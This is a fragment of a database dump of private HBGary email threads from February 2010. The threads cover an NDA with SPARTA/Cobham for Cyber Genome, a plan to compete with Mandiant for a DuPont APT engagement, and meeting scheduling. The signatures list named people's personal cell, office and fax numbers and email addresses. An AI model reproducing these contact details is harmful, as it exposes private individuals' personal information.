Genome NDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\nEnclosed please find the Cobham NDA template with some blocks\r\ncomplete. Please review it, complete relevant portions, and let me know if you\r\nhave any concerns. When all your concerns are addressed, please send the signed\r\ncopy to me at this e-mail address or to my fax number, as shown below.\r\n\r\n&nbsp;\r\n\r\nBest regards,\r\n\r\n&nbsp;\r\n\r\nJack D. Oden, CISSP \r\nDirector, Business Development and Administration\r\n\r\nInformation Systems Security Operation\r\n\r\nSPARTA National Security Sector\r\nCobham Analytic Solutions\r\nT: 443 430 8068\r\nF: 443 430 8217\r\nC: 703 402 8574\r\nJack.Oden@Cobham.com\r\n\r\n\r\nSPARTA, Inc., dba Cobham Analytic Solutions, 7110 Samuel Morse\r\nDrive, Columbia, MD 21046 www.sparta.com\r\n\r\nPlease consider the environment before printing this email \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mettala, Erik \r\nSent: Tuesday, February 02, 2010 12:12 PM\r\nTo: Aaron Barr; Oden, Jack\r\nCc: Schwab, Stephen; Tally, Gregg\r\nSubject: RE: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Please meet Jack Oden, our Director\r\nof Business Development.&nbsp; Jack will be coordinating an NDA for the Cyber\r\nGenome program.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Regards,\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\nJack,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr is with HBGeary, and will\r\nbe visiting us this week to discuss capabilities and teaming opportunities on\r\nCyber Genome.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Please coordinate putting and NDA in\r\nplace with him.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Thanks,\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\nChief Scientist\r\n\r\nSPARTA National Security Systems Sector\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n7110 Samuel Morse Drive\r\n\r\nColumbia, MD 21046\r\n\r\nwww.sparta.com\r\n\r\nT:&nbsp;443-430-8059\r\n\r\nC: 703-209-2221\r\n\r\nF: 443-430-8208\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before printing this email\r\n\r\nThis\r\ne-mail and any files transmitted with it (&quot;E-mail&quot;) is intended\r\nsolely for the addressee(s) and may contain confidential and/or legally\r\nprivileged information. If you are not the addressee(s), any disclosure,\r\nreproduction, copying, distribution or other use of the E-mail is prohibited.\r\nIf you have received this E-mail in error, please delete it and notify the sender\r\nimmediately via our switchboard or return e-mail.\r\n\r\nNeither\r\nthe company nor any subsidiary or affiliate or associated company nor any\r\nindividual sending this E-mail accepts any liability in respect of the content\r\n(including errors and omissions) nor shall this e-mail be deemed to enter the\r\ncompany or any subsidiary or affiliate or associated company into a contract or\r\nto create any legally binding obligations unless expressly agreed to in writing\r\nunder separate cover and timeliness of the E-mail which arise as a result of\r\ntransmission. If verification is required, please request a hard copy version\r\nfrom the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010 11:47 AM\r\nTo: Mettala, Erik\r\nSubject: Re: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Erik,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to our meeting later this week. &nbsp;I\r\nwould like to get an NDA in place between our orgs to discuss freely.\r\n&nbsp;Would you like me to send you ours or want to go with yours, I am good\r\neither way.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased to meet you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look forward to discussing\r\nNWOC and other opportunities with you.\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\nChief Scientist\r\n\r\nSPARTA National Security Systems Sector\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n7110 Samuel Morse Drive\r\n\r\nColumbia, MD 21046\r\n\r\nwww.sparta.com\r\n\r\nT:&nbsp;443-430-8059\r\n\r\nC: 703-209-2221\r\n\r\nF: 443-430-8208\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before printing this email\r\n\r\nThis\r\ne-mail and any files transmitted with it (&quot;E-mail&quot;) is intended\r\nsolely for the addressee(s) and may contain confidential and/or legally\r\nprivileged information. If you are not the addressee(s), any disclosure,\r\nreproduction, copying, distribution or other use of the E-mail is prohibited.\r\nIf you have received this E-mail in error, please delete it and notify the sender\r\nimmediately via our switchboard or return e-mail.\r\n\r\nNeither\r\nthe company nor any subsidiary or affiliate or associated company nor any\r\nindividual sending this E-mail accepts any liability in respect of the content\r\n(including errors and omissions) nor shall this e-mail be deemed to enter the\r\ncompany or any subsidiary or affiliate or associated company into a contract or\r\nto create any legally binding obligations unless expressly agreed to in writing\r\nunder separate cover and timeliness of the E-mail which arise as a result of\r\ntransmission. If verification is required, please request a hard copy version\r\nfrom the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David \r\nSent: Wednesday, January 27, 2010 4:02 PM\r\nTo: Aaron Barr\r\nCc: Balenson, David; Mettala, Erik\r\nSubject: RE: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nThank you for your inquiry. We&#8217;d be happy to exchange\r\ncapabilities and explore possible ways to work together. As I mentioned in my\r\nvoicemail, tomorrow will be my last day at SPARTA. Please follow-up with Erik Mettala, Chief Scientist for\r\nSPARTA&#8217;s National Security Sector. Erik&#8217;s contact information\r\nis erik.mettala@cobham.com,\r\n443-430-8059.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks and regards,\r\n\r\n-DB\r\n\r\n&nbsp;\r\n\r\n------------------------------------------------------------------------------------------------\r\n\r\nDavid M. Balenson, Division Manager, Security Research\r\n\r\nSPARTA National Security Sector\r\n\r\nCobham Analytic Solutions\r\n\r\nTel: 443.430.8004\r\n\r\nFax: 443.430.8153\r\n\r\nEmail: David.Balenson@cobham.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Dave,\r\n\r\n\r\n\r\nI would like to talk to you about our similar\r\ninterest in the NWOC BAA. As well I would be interested in getting an update on\r\nyour capabilities and likewise get you familiar with ours. I received a\r\nbriefing more than an year back when I was leading the technical strategy for\r\nNorthrop Grummans cyber campaign. I remember being impressed by your amount of\r\nIP related to cybersecurity. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7004,'aaron_hbgary_com/7004.html'),(1902,'2010-02-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000661.M963876P3547Q1902.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,','Mandiant vs. HBgary for Dupont (PLEASE READ)',' \r\nGuys,\r\nHere is the general plan:\r\n \r\n1) Phil, Shawn, and Greg will work together to complete the DRAFT Aurora report, including actionable intelligence (regkeys, DDNA sequence, Zhash, file paths, and network C&amp;C patterns) - I expect this to take a full day\r\n\r\n \r\n2) Greg and Shawn will assure that latest straits.edb nails aurora - again, expect an update by thrusday\r\n \r\n3) Aaron will put together a service offering to directly compete with Madiant&#39;s IR capability.  Aaron will draw upon seasoned veterans in the IR space on the DoD and classified side of the house.  The resume  of capability should be able to stand against Mandiant&#39;s.\r\n\r\n \r\nRemember, DDNA is in DuPont w/ the Digital Guardian integration, which is managed by Verdasys.  We need to get Marc into the loop as soon as we know what&#39;s going on, and make sure Verdasys has the latest DDNA.DLL and straits.edb.\r\n\r\n \r\nWe don&#39;t have alot of time, so we must do only a few things and do them with laser precision.\r\n-Greg\r\n \r\n \r\n \r\nOn Tue, Feb 2, 2010 at 6:46 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGuys I believe we are in direct competition with Mandiant for this Dupont APT gig.  Dupont made sure to let me know they registered and received the m-trends report.  See the forwarded email below.  I see this is an opportunity though.  I&#39;ll make sure that the sample I show them looks great in Responder.\r\nACTION ITEM:  Let&#39;s heat up rasmon.dll and get me the bits/strats.edb required to show a Red score. I&#39;ll reverse it with some easy to follow graphs.\r\n',15393,'aaron_hbgary_com/15393.html'),(1903,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000662.M141824P3547Q1903.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Mandiant vs. HBgary for Dupont (PLEASE READ)','Begin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: February 2, 2010 10:46:14 AM MSTTo: Phil Wallisch &lt;phil@hbgary.com&gt;Cc: Shawn Bracken &lt;shawn@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;, aaron@hbgary.comSubject: Mandiant vs. HBgary for Dupont (PLEASE READ)&nbsp;\r\nGuys,\r\nHere is the general plan:\r\n&nbsp;\r\n1) Phil, Shawn, and Greg will work together to complete the DRAFT Aurora report, including actionable intelligence (regkeys, DDNA sequence, Zhash, file paths, and network C&amp;C patterns) - I expect this to take a full day\r\n\r\n&nbsp;\r\n2) Greg and Shawn will assure that latest straits.edb nails aurora - again, expect an update by thrusday\r\n&nbsp;\r\n3) Aaron will put together a service offering to directly compete with Madiant\'s IR capability.&nbsp; Aaron will draw upon seasoned veterans in the IR space on the DoD and classified side of the house.&nbsp; The resume&nbsp; of capability should be able to stand against Mandiant\'s.\r\n\r\n&nbsp;\r\nRemember, DDNA is in DuPont w/ the Digital Guardian integration, which is managed by Verdasys.&nbsp; We need to get Marc into the loop as soon as we know what\'s going on, and make sure Verdasys has the latest DDNA.DLL and straits.edb.\r\n\r\n&nbsp;\r\nWe don\'t have alot of time, so we must do only a few things and do them with laser precision.\r\n-Greg\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Tue, Feb 2, 2010 at 6:46 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGuys I believe we are in direct competition with Mandiant for this Dupont APT gig.&nbsp; Dupont made sure to let me know they registered and received the m-trends report.&nbsp; See the forwarded email below.&nbsp; I see this is an opportunity though.&nbsp; I\'ll make sure that the sample I show them looks great in Responder.\r\nACTION ITEM:&nbsp; Let\'s heat up rasmon.dll and get me the bits/strats.edb required to show a Red score. I\'ll reverse it with some easy to follow graphs.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1792,'aaron_hbgary_com/1792.html'),(1904,'2010-02-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000662.M346416P3547Q1904.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Invitation: (No Subject) @ Mon Feb 8 6pm - 8pm (aaron@hbgary.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt&#8217;s in the calendar for 3-5 EST on Monday\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010 7:21 AM\r\nTo: Penny Leavy\r\nSubject: Re: Invitation: (No Subject) @ Mon Feb 8 6pm - 8pm\r\n(aaron@hbgary.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIs the time right for this is it at 6pm or 1pm? &nbsp;on the\r\ncalendar it there is an entry for 1pm.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 1, 2010, at 6:17 PM, Penny Leavy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  more details &raquo;\r\n  \r\n  (No Subject)\r\n  \r\n  Meetign with Fidelis to discuss partnership\r\n  \r\n  \r\n   \r\n    \r\n    \r\n    When\r\n    \r\n    \r\n    \r\n    Mon Feb 8 6pm &#8211; 8pm Eastern Time\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Where\r\n    \r\n    \r\n    \r\n    Fidelis/Bethesda (map)\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Calendar\r\n    \r\n    \r\n    \r\n    aaron@hbgary.com\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      &#8226;\r\n      \r\n      \r\n      \r\n      \r\n      Penny Leavy - organizer\r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      &#8226;\r\n      \r\n      \r\n      \r\n      \r\n      Aaron Barr\r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      &#8226;\r\n      \r\n      \r\n      \r\n      \r\n      Rich Cummings\r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  Going?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;\r\n  \r\n  \r\n \r\n \r\n  \r\n  Invitation\r\n  from Google Calendar\r\n  You\r\n  are receiving this email at the account aaron@hbgary.com\r\n  because you are subscribed for invitations on calendar aaron@hbgary.com.\r\n  To\r\n  stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/\r\n  and change your notification settings for this calendar.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;&lt;invite.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1290,'aaron_hbgary_com/1290.html'),(1905,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000662.M608169P3547Q1905.eml','nolan@informationsecuritysolutionsllc.com','Re: Services contract for commercial IR services','Whats your schedule like next week. &nbsp;My best availability is on Thursday and Friday.AaronOn Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com wrote:Darn, those days are packed for me. What about the week of the 8th?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, 25 Jan 2010 11:44:58 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesHi Nolan,Tuesday and Friday are my packed days this week. &nbsp;Any free time on Wed/Thurs?AaronOn Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com wrote:Aaron,How does 11 on Tuesday look for you? Where are you at most of the time? Would coffee at Cosi in the Reston Town Center be easy?Thanks,NolanSent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 08:48:18 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesNolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1239,'aaron_hbgary_com/1239.html'),(1906,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000662.M789608P3547Q1906.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: Mandiant vs. HBgary for Dupont (PLEASE READ)','Greg,Just been sitting down talking with Ted and we have missed the mark on the sales opportunities, being overly focused on the larger multi-year contracts to grow a manpower pool. &nbsp;I hadn\'t put together until we talked how we might be able to build a QRC/short-term capability to help seed us.This would require some time from Phil, Rich, MJ to help to lead some of the initial efforts. &nbsp;We can put Xetron on &nbsp;as a subcontractor to provide some bodies to the effort. &nbsp;I don\'t think Xetron has enough experience to lead an IR effort, but they have the talent/skills to provide support to an effort.Our efforts on the larger efforts are going to pay off before July, but those type of efforts to take a while to bring to fruition. &nbsp;In the meantime we need to get hot on the smaller services opportunities that directly compete with Mandiant. &nbsp;Building the services offerings and the DARPA BAA are going to be our top priorities.AaronOn Feb 2, 2010, at 10:46 AM, Greg Hoglund wrote:&nbsp;\r\nGuys,\r\nHere is the general plan:\r\n&nbsp;\r\n1) Phil, Shawn, and Greg will work together to complete the DRAFT Aurora report, including actionable intelligence (regkeys, DDNA sequence, Zhash, file paths, and network C&amp;C patterns) - I expect this to take a full day\r\n\r\n&nbsp;\r\n2) Greg and Shawn will assure that latest straits.edb nails aurora - again, expect an update by thrusday\r\n&nbsp;\r\n3) Aaron will put together a service offering to directly compete with Madiant\'s IR capability.&nbsp; Aaron will draw upon seasoned veterans in the IR space on the DoD and classified side of the house.&nbsp; The resume&nbsp; of capability should be able to stand against Mandiant\'s.\r\n\r\n&nbsp;\r\nRemember, DDNA is in DuPont w/ the Digital Guardian integration, which is managed by Verdasys.&nbsp; We need to get Marc into the loop as soon as we know what\'s going on, and make sure Verdasys has the latest DDNA.DLL and straits.edb.\r\n\r\n&nbsp;\r\nWe don\'t have alot of time, so we must do only a few things and do them with laser precision.\r\n-Greg\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Tue, Feb 2, 2010 at 6:46 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGuys I believe we are in direct competition with Mandiant for this Dupont APT gig.&nbsp; Dupont made sure to let me know they registered and received the m-trends report.&nbsp; See the forwarded email below.&nbsp; I see this is an opportunity though.&nbsp; I\'ll make sure that the sample I show them looks great in Responder.\r\nACTION ITEM:&nbsp; Let\'s heat up rasmon.dll and get me the bits/strats.edb required to show a Red score. I\'ll reverse it with some easy to follow graphs.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9355,'aaron_hbgary_com/9355.html'),(1907,'2010-02-02','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000663.M147578P3547Q1907.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Wanting to confirm time','Yep that&#39;s what I envisioned.On Tue, Feb 2, 2010 at 12:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPhil,\r\n\r\nThe time for the meeting today is 4-5pm MST, 6-7pm your time.  A standard demo of HBGary capabilities, discussing Responder, Recon, our enterprise solutions, DDNA, Malware Genome.  Then we will discuss what HBGary Federal is focused on for services.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',11189,'aaron_hbgary_com/11189.html'),(1908,'2010-02-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000663.M439353P3547Q1908.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Mandiant vs. HBgary for Dupont (PLEASE READ)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood plan, but you can also partner with Foundstone and PwC.&nbsp; We\r\ncan lead effort and use their people.&nbsp; HBGary is in a good place because we do\r\nnot compete against PwC or Foundstone, Accenture etc.&nbsp; Going down this path\r\ndoes create conflict for us and we&#8217;ll need to clearly separate the two\r\ncompanies with a web presence etc.&nbsp; WE need to be clear that HBGary Federal is\r\nNOT owned by HBGary nor is it a subsidiary.&nbsp; I&#8217;m not sure this is the best bet\r\nlong term but in the short term it will make you money.&nbsp; I think it is going to\r\nbe difficult to &#8220;share&#8221; employees, we are slammed enough without a consulting\r\ngig on top o of it.&nbsp; Besides, someone like a foundstone has WAY more experience\r\nthan you or Ted in this space. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010 10:15 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nSubject: Re: Mandiant vs. HBgary for Dupont (PLEASE READ)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust been sitting down talking with Ted and we have missed\r\nthe mark on the sales opportunities, being overly focused on the larger\r\nmulti-year contracts to grow a manpower pool. &nbsp;I hadn\'t put together until\r\nwe talked how we might be able to build a QRC/short-term capability to help\r\nseed us.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis would require some time from Phil, Rich, MJ to help to\r\nlead some of the initial efforts. &nbsp;We can put Xetron on &nbsp;as a\r\nsubcontractor to provide some bodies to the effort. &nbsp;I don\'t think Xetron\r\nhas enough experience to lead an IR effort, but they have the talent/skills to\r\nprovide support to an effort.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOur efforts on the larger efforts are going to pay off\r\nbefore July, but those type of efforts to take a while to bring to fruition.\r\n&nbsp;In the meantime we need to get hot on the smaller services opportunities\r\nthat directly compete with Mandiant. &nbsp;Building the services offerings and\r\nthe DARPA BAA are going to be our top priorities.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 10:46 AM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\n\r\n\r\n\r\n\r\nHere is the general plan:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1) Phil, Shawn, and Greg will work together to complete the\r\nDRAFT Aurora report, including actionable intelligence (regkeys, DDNA sequence,\r\nZhash, file paths, and network C&amp;C patterns) - I expect this to take a full\r\nday\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2) Greg and Shawn will assure that latest straits.edb nails\r\naurora - again, expect an update by thrusday\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n3) Aaron will put together a service offering to directly\r\ncompete with Madiant\'s IR capability.&nbsp; Aaron will draw upon seasoned\r\nveterans in the IR space on the DoD and classified side of the house.&nbsp; The\r\nresume&nbsp; of capability should be able to stand against Mandiant\'s.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRemember, DDNA is in DuPont w/ the Digital Guardian\r\nintegration, which is managed by Verdasys.&nbsp; We need to get Marc into the\r\nloop as soon as we know what\'s going on, and make sure Verdasys has the latest\r\nDDNA.DLL and straits.edb.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe don\'t have alot of time, so we must do only a few things\r\nand do them with laser precision.\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Tue, Feb 2, 2010 at 6:46 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nGuys I believe we are in direct competition with Mandiant for\r\nthis Dupont APT gig.&nbsp; Dupont made sure to let me know they registered and\r\nreceived the m-trends report.&nbsp; See the forwarded email below.&nbsp; I see\r\nthis is an opportunity though.&nbsp; I\'ll make sure that the sample I show them\r\nlooks great in Responder.\r\n\r\nACTION ITEM:&nbsp; Let\'s heat up rasmon.dll and get me the bits/strats.edb\r\nrequired to show a Red score. I\'ll reverse it with some easy to follow graphs.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12590,'aaron_hbgary_com/12590.html'),(1909,'2010-02-02','\"Penny Leavy-Hoglund\" 